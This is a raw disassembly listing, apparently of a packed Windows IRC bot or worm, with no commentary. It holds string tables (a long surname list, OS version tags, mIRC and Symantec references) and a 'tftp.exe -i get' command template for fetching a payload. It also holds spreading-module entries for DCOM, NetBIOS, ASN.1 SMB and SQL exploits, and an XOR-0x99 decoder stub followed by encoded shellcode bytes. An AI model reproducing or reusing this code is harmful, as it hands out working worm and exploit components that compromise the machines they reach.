aDanieli	db 'Danieli',0          ; DATA XREF: .XPack0:004305F8o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .XPack0:004305F4o
aDaly		db 'Daly',0             ; DATA XREF: .XPack0:004305F0o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: .XPack0:004305ECo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .XPack0:004305E8o
aCyders		db 'Cyders',0           ; DATA XREF: .XPack0:004305E4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .XPack0:004305E0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .XPack0:004305DCo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .XPack0:004305D8o
aCui		db 'Cui',0              ; DATA XREF: .XPack0:004305D4o
aCroxton	db 'Croxton',0          ; DATA XREF: .XPack0:004305D0o
aCroxen		db 'Croxen',0           ; DATA XREF: .XPack0:004305CCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: .XPack0:004305C8o
aCrocker	db 'Crocker',0          ; DATA XREF: .XPack0:004305C4o
aCrawford	db 'Crawford',0         ; DATA XREF: .XPack0:004305C0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .XPack0:004305BCo
aCounter	db 'Counter',0          ; DATA XREF: .XPack0:004305B8o
aCosmides	db 'Cosmides',0         ; DATA XREF: .XPack0:004305B4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: .XPack0:004305B0o
aCorey		db 'Corey',0            ; DATA XREF: .XPack0:004305ACo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: .XPack0:004305A8o
aCondodina	db 'Condodina',0        ; DATA XREF: .XPack0:004305A4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .XPack0:004305A0o
aComstock	db 'Comstock',0         ; DATA XREF: .XPack0:0043059Co
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .XPack0:00430594o
					; .XPack0:00430598o
aCollis		db 'Collis',0           ; DATA XREF: .XPack0:00430590o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: .XPack0:0043058Co
aColella	db 'Colella',0          ; DATA XREF: .XPack0:00430588o
aColdren	db 'Coldren',0          ; DATA XREF: .XPack0:00430584o
aCoito		db 'Coito',0            ; DATA XREF: .XPack0:00430580o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .XPack0:0043057Co
aClow		db 'Clow',0             ; DATA XREF: .XPack0:00430578o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: .XPack0:00430574o
aClement	db 'Clement',0          ; DATA XREF: .XPack0:00430570o
aClark		db 'Clark',0            ; DATA XREF: .XPack0:0043056Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: .XPack0:00430568o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .XPack0:00430564o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .XPack0:00430560o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .XPack0:0043055Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .XPack0:00430558o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: .XPack0:00430554o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: .XPack0:00430550o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .XPack0:0043054Co
aChristopher	db 'Christopher',0      ; DATA XREF: .XPack0:00430548o
aChristie	db 'Christie',0         ; DATA XREF: .XPack0:00430544o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: .XPack0:00430540o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .XPack0:0043053Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: .XPack0:00430538o
aChinman	db 'Chinman',0          ; DATA XREF: .XPack0:00430534o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .XPack0:00430530o
aChilds		db 'Childs',0           ; DATA XREF: .XPack0:0043052Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: .XPack0:00430528o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .XPack0:00430524o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .XPack0:00430520o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .XPack0:0043051Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .XPack0:00430518o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .XPack0:00430514o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .XPack0:00430510o
aChapman	db 'Chapman',0          ; DATA XREF: .XPack0:0043050Co
aCerioli	db 'Cerioli',0          ; DATA XREF: .XPack0:00430508o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .XPack0:00430504o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: .XPack0:00430500o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .XPack0:004304FCo
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .XPack0:004304F8o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: .XPack0:004304F4o
		align 4
aCase		db 'Case',0             ; DATA XREF: .XPack0:004304F0o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: .XPack0:004304ECo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .XPack0:004304E8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .XPack0:004304E4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .XPack0:004304E0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .XPack0:004304DCo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: .XPack0:004304D8o
aCarlos		db 'Carlos',0           ; DATA XREF: .XPack0:004304D4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: .XPack0:004304D0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .XPack0:004304CCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .XPack0:004304C8o
aCapursi	db 'Capursi',0          ; DATA XREF: .XPack0:004304C4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .XPack0:004304C0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .XPack0:004304BCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .XPack0:004304B8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: .XPack0:004304B4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .XPack0:004304B0o
aCanley		db 'Canley',0           ; DATA XREF: .XPack0:004304ACo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .XPack0:004304A8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .XPack0:004304A4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .XPack0:004304A0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .XPack0:0043049Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .XPack0:00430498o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .XPack0:00430494o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .XPack0:00430490o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .XPack0:0043048Co
aBurridge	db 'Burridge',0         ; DATA XREF: .XPack0:00430488o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: .XPack0:00430484o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .XPack0:00430480o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: .XPack0:0043047Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: .XPack0:00430478o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: .XPack0:00430474o
aBudding	db 'Budding',0          ; DATA XREF: .XPack0:00430470o
aBuchan		db 'Buchan',0           ; DATA XREF: .XPack0:0043046Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .XPack0:00430468o
aBrook		db 'Brook',0            ; DATA XREF: .XPack0:00430464o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .XPack0:00430460o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: .XPack0:0043045Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: .XPack0:00430458o
aBridges	db 'Bridges',0          ; DATA XREF: .XPack0:00430454o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .XPack0:00430450o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .XPack0:00430448o
					; .XPack0:0043044Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .XPack0:00430444o
aBrenan		db 'Brenan',0           ; DATA XREF: .XPack0:00430440o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .XPack0:0043043Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .XPack0:00430438o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .XPack0:00430434o
aBradac		db 'Bradac',0           ; DATA XREF: .XPack0:00430430o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .XPack0:0043042Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .XPack0:00430428o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: .XPack0:00430424o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .XPack0:00430420o
aBoyes		db 'Boyes',0            ; DATA XREF: .XPack0:0043041Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .XPack0:00430418o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .XPack0:00430414o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .XPack0:00430410o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .XPack0:0043040Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: .XPack0:00430408o
aBoudin		db 'Boudin',0           ; DATA XREF: .XPack0:00430404o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: .XPack0:00430400o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .XPack0:004303FCo
aBossi		db 'Bossi',0            ; DATA XREF: .XPack0:004303F8o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .XPack0:004303F4o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: .XPack0:004303F0o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .XPack0:004303ECo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .XPack0:004303E8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .XPack0:004303E4o
		align 4
aBook		db 'Book',0             ; DATA XREF: .XPack0:004303E0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .XPack0:004303DCo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .XPack0:004303D8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .XPack0:004303D4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: .XPack0:004303D0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .XPack0:004303CCo
aBollinger	db 'Bollinger',0        ; DATA XREF: .XPack0:004303C8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .XPack0:004303C4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .XPack0:004303C0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .XPack0:004303BCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .XPack0:004303B8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .XPack0:004303B4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .XPack0:004303B0o
aBloch		db 'Bloch',0            ; DATA XREF: .XPack0:004303ACo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .XPack0:004303A8o
aBliss		db 'Bliss',0            ; DATA XREF: .XPack0:004303A4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .XPack0:004303A0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .XPack0:0043039Co
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: .XPack0:00430398o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .XPack0:00430394o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .XPack0:00430390o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: .XPack0:0043038Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: .XPack0:00430388o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: .XPack0:00430384o
aBinion		db 'Binion',0           ; DATA XREF: .XPack0:00430380o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .XPack0:0043037Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .XPack0:00430378o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: .XPack0:00430374o
aBetti		db 'Betti',0            ; DATA XREF: .XPack0:00430370o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .XPack0:0043036Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .XPack0:00430368o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .XPack0:00430364o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .XPack0:00430360o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .XPack0:0043035Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .XPack0:00430358o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .XPack0:00430354o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .XPack0:00430350o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .XPack0:0043034Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .XPack0:00430348o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .XPack0:00430344o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .XPack0:00430340o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .XPack0:0043033Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .XPack0:00430338o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: .XPack0:00430334o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .XPack0:00430330o
aBedford	db 'Bedford',0          ; DATA XREF: .XPack0:0043032Co
aBeder		db 'Beder',0            ; DATA XREF: .XPack0:00430328o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .XPack0:00430324o
aBean		db 'Bean',0             ; DATA XREF: .XPack0:00430320o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .XPack0:0043031Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .XPack0:00430318o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .XPack0:00430314o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .XPack0:00430310o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .XPack0:0043030Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .XPack0:00430308o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .XPack0:00430304o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .XPack0:00430300o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .XPack0:004302FCo
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .XPack0:004302F8o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .XPack0:004302F4o
aBarry		db 'Barry',0            ; DATA XREF: .XPack0:004302F0o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .XPack0:004302ECo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: .XPack0:004302E8o
aBarneson	db 'Barneson',0         ; DATA XREF: .XPack0:004302E4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .XPack0:004302E0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: .XPack0:004302DCo
aBaranowska	db 'Baranowska',0       ; DATA XREF: .XPack0:004302D8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .XPack0:004302D4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: .XPack0:004302D0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .XPack0:004302CCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .XPack0:004302C8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .XPack0:004302C4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .XPack0:004302C0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .XPack0:004302BCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .XPack0:004302B8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .XPack0:004302B4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .XPack0:004302B0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .XPack0:004302ACo
aBaglivo	db 'Baglivo',0          ; DATA XREF: .XPack0:004302A8o
aBady		db 'Bady',0             ; DATA XREF: .XPack0:004302A4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .XPack0:004302A0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .XPack0:0043029Co
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: .XPack0:00430298o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: .XPack0:00430294o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .XPack0:00430290o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .XPack0:0043028Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: .XPack0:00430288o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .XPack0:00430284o
aAurelius	db 'Aurelius',0         ; DATA XREF: .XPack0:00430280o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .XPack0:0043027Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .XPack0:00430278o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .XPack0:00430274o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .XPack0:00430270o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .XPack0:0043026Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: .XPack0:00430268o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .XPack0:00430264o
aArbia		db 'Arbia',0            ; DATA XREF: .XPack0:00430260o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .XPack0:0043025Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .XPack0:00430258o
aAnsley		db 'Ansley',0           ; DATA XREF: .XPack0:00430254o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .XPack0:00430250o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: .XPack0:0043024Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .XPack0:00430248o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .XPack0:00430244o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .XPack0:00430240o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .XPack0:0043023Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .XPack0:00430238o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .XPack0:00430234o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .XPack0:00430230o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .XPack0:0043022Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .XPack0:00430228o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .XPack0:00430224o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .XPack0:00430220o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .XPack0:0043021Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .XPack0:00430218o
aAleks		db 'Aleks',0            ; DATA XREF: .XPack0:00430214o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .XPack0:00430210o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .XPack0:0043020Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .XPack0:00430208o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .XPack0:00430204o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .XPack0:00430200o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .XPack0:004301FCo
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .XPack0:004301F8o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .XPack0:004301F4o
aAdams		db 'Adams',0            ; DATA XREF: .XPack0:004301F0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .XPack0:004301ECo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .XPack0:off_4301E8o
		align 10h
aPc		db 'PC',0               ; DATA XREF: .XPack0:0040AAB2o
		align 4
aS_3		db '%s|',0              ; DATA XREF: .XPack0:0040AB33o
aS_4		db '[%s]|',0            ; DATA XREF: .XPack0:0040AC3Do
		align 10h
a???		db '???',0              ; DATA XREF: .XPack0:loc_40AC34o
					; sub_41B0A1:loc_41B164o
a2k3		db '2K3',0              ; DATA XREF: .XPack0:0040AC2Do
aXp_0		db 'XP',0               ; DATA XREF: .XPack0:0040AC1Fo
					; .XPack0:0040AE29o ...
		align 4
a2k		db '2K',0               ; DATA XREF: .XPack0:0040AC0Fo
					; .XPack0:0040AE19o ...
		align 10h
aMe_0		db 'ME',0               ; DATA XREF: .XPack0:0040ABF6o
					; .XPack0:0040AE00o ...
		align 4
a98		db '98',0               ; DATA XREF: .XPack0:0040ABE6o
					; .XPack0:0040ADF0o ...
		align 4
aNt_0		db 'NT',0               ; DATA XREF: .XPack0:0040ABD6o
					; .XPack0:0040ADE1o ...
		align 4
a95		db '95',0               ; DATA XREF: .XPack0:0040ABC8o
					; .XPack0:0040ADD3o ...
		align 10h
aDS		db '[%d]%s',0           ; DATA XREF: sub_40AC83+3Ao
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40AC83+2Co
					; sub_40AC83+51o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AC83+18o
					; sub_41889C+5o
		align 4
aSSSS		db '[%s]%s|%s|%s|',0    ; DATA XREF: .XPack0:0040AF76o
		align 4
a99		db '99',0               ; DATA XREF: .XPack0:loc_40AF38o
		align 4
a0D		db '0%d',0              ; DATA XREF: .XPack0:0040AF12o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: .XPack0:0040AEF4o
					; sub_41AF01+39o
off_433EA8	dd offset byte_4B4E55	; DATA XREF: .XPack0:0040AED7o
dword_433EAC	dd 345053h	dword_433EB0	dd 34h		dword_433EB4	dd 335053h	dword_433EB8	dd 33h		dword_433EBC	dd 325053h	dword_433EC0	dd 32h		
; =============== S U B	R O U T	I N E =======================================



sub_433EC4	proc near		; DATA XREF: .XPack0:0040AE78o
		push	ebx
		push	eax
		xor	[eax], eax
sub_433EC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_433EC8	dd 305053h	dword_433ECC	dd 4E55h	dword_433ED0	dd 3332h, 0	; ---------------------------------------------------------------------------


loc_433ED8:				; DATA XREF: sub_40B153+BEo
		jmp	short loc_433EDC
; ---------------------------------------------------------------------------


loc_433EDA:				; CODE XREF: .XPack0:loc_433EDCp
		jmp	short loc_433EE1
; ---------------------------------------------------------------------------


loc_433EDC:				; CODE XREF: .XPack0:loc_433ED8j
		call	loc_433EDA


loc_433EE1:				; CODE XREF: .XPack0:loc_433EDAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_433EE6	dw 0FFFFh		; DATA XREF: sub_40B153+C6w
		db 80h,	73h, 0Eh
byte_433EEB	db 0FFh			; DATA XREF: sub_40B153+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_433EF0:				; DATA XREF: sub_40B153+9Co
		jmp	short loc_433EF4
; ---------------------------------------------------------------------------


loc_433EF2:				; CODE XREF: .XPack0:loc_433EF4p
		jmp	short loc_433EF9
; ---------------------------------------------------------------------------


loc_433EF4:				; CODE XREF: .XPack0:loc_433EF0j
		call	loc_433EF2


loc_433EF9:				; CODE XREF: .XPack0:loc_433EF2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_433EFD	db 0FFh			; DATA XREF: sub_40B153+A4w
		dw 7380h
		db 0Ch
byte_433F01	db 0FFh			; DATA XREF: sub_40B153+AAw
		dw 0E243h
		dd 0F9h
dword_433F08	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40AFDC+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433F6C	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40AFDC+79o
aJ_0		db 'j',0
		db 0E8h
dword_433F85	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_433F8C
		retn
; ---------------------------------------------------------------------------
byte_433F8C	db 0E8h			; CODE XREF: .XPack0:00433F89j
dword_433F8D	dd 1		byte_433F91	db 0, 6Ah, 0		; DATA XREF: sub_40AFDC+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_433F9B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_433FCC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 72680254h
					; DATA XREF: sub_40B311+10o
		dd 64026165h, 26C0220h,	2730269h, 200274h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B4DC+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B4DC+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40B9E3+4Fo
					; sub_40C271+155o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B91D+30o
					; .XPack0:0040E11Co ...
		align 4
		dd 5 dup(0)
dword_434058	dd 0B97h						; sub_401AA1+1D20o ...
off_43405C	dd offset sub_40F0D3	; DATA XREF: sub_40C271+1D7r
dword_434060	dd 0							; .XPack0:0040D657r ...
dword_434064	dd 1		dword_434068	dd 1		dword_43406C	dd 0		aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DE3Fh, 0
		dd 1, 2	dup(0)
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 34342D74h, 35h, 5	dup(0)
		dd 1BDh, 40EF95h, 0
		dd 1, 2	dup(0)
aNet139		db 'net139',0
		align 4
		dd 656E0000h, 33312D74h, 39h, 5	dup(0)
		dd 8Bh,	40EF95h, 0
		dd 1, 2	dup(0)
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D49Bh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D49Bh, 0
		dd 2 dup(1), 0
		dd 6C7173h, 0
		dd 71730000h, 34312D6Ch, 3333h,	5 dup(0)
		dd 599h, 40E181h, 0
		dd 1, 3	dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_43423A	db 1			; DATA XREF: sub_401AA1:loc_403713r
					; sub_401AA1+1C7Co
aDcom135_0	db 'dcom135',0
		align 4
		dd 71730100h, 6Ch, 0
		dd 1, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_434272

; =============== S U B	R O U T	I N E =======================================



sub_434262	proc near		; CODE XREF: sub_434262:loc_434272p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43426A:				; CODE XREF: sub_434262+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43426A
		jmp	short loc_434277
; ---------------------------------------------------------------------------


loc_434272:				; CODE XREF: .XPack0:00434260j
		call	sub_434262


loc_434277:				; CODE XREF: sub_434262+Ej
		jo	short near ptr dword_4341F4+1Eh
		cwde
		cdq
		cdq
		retn
sub_434262	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
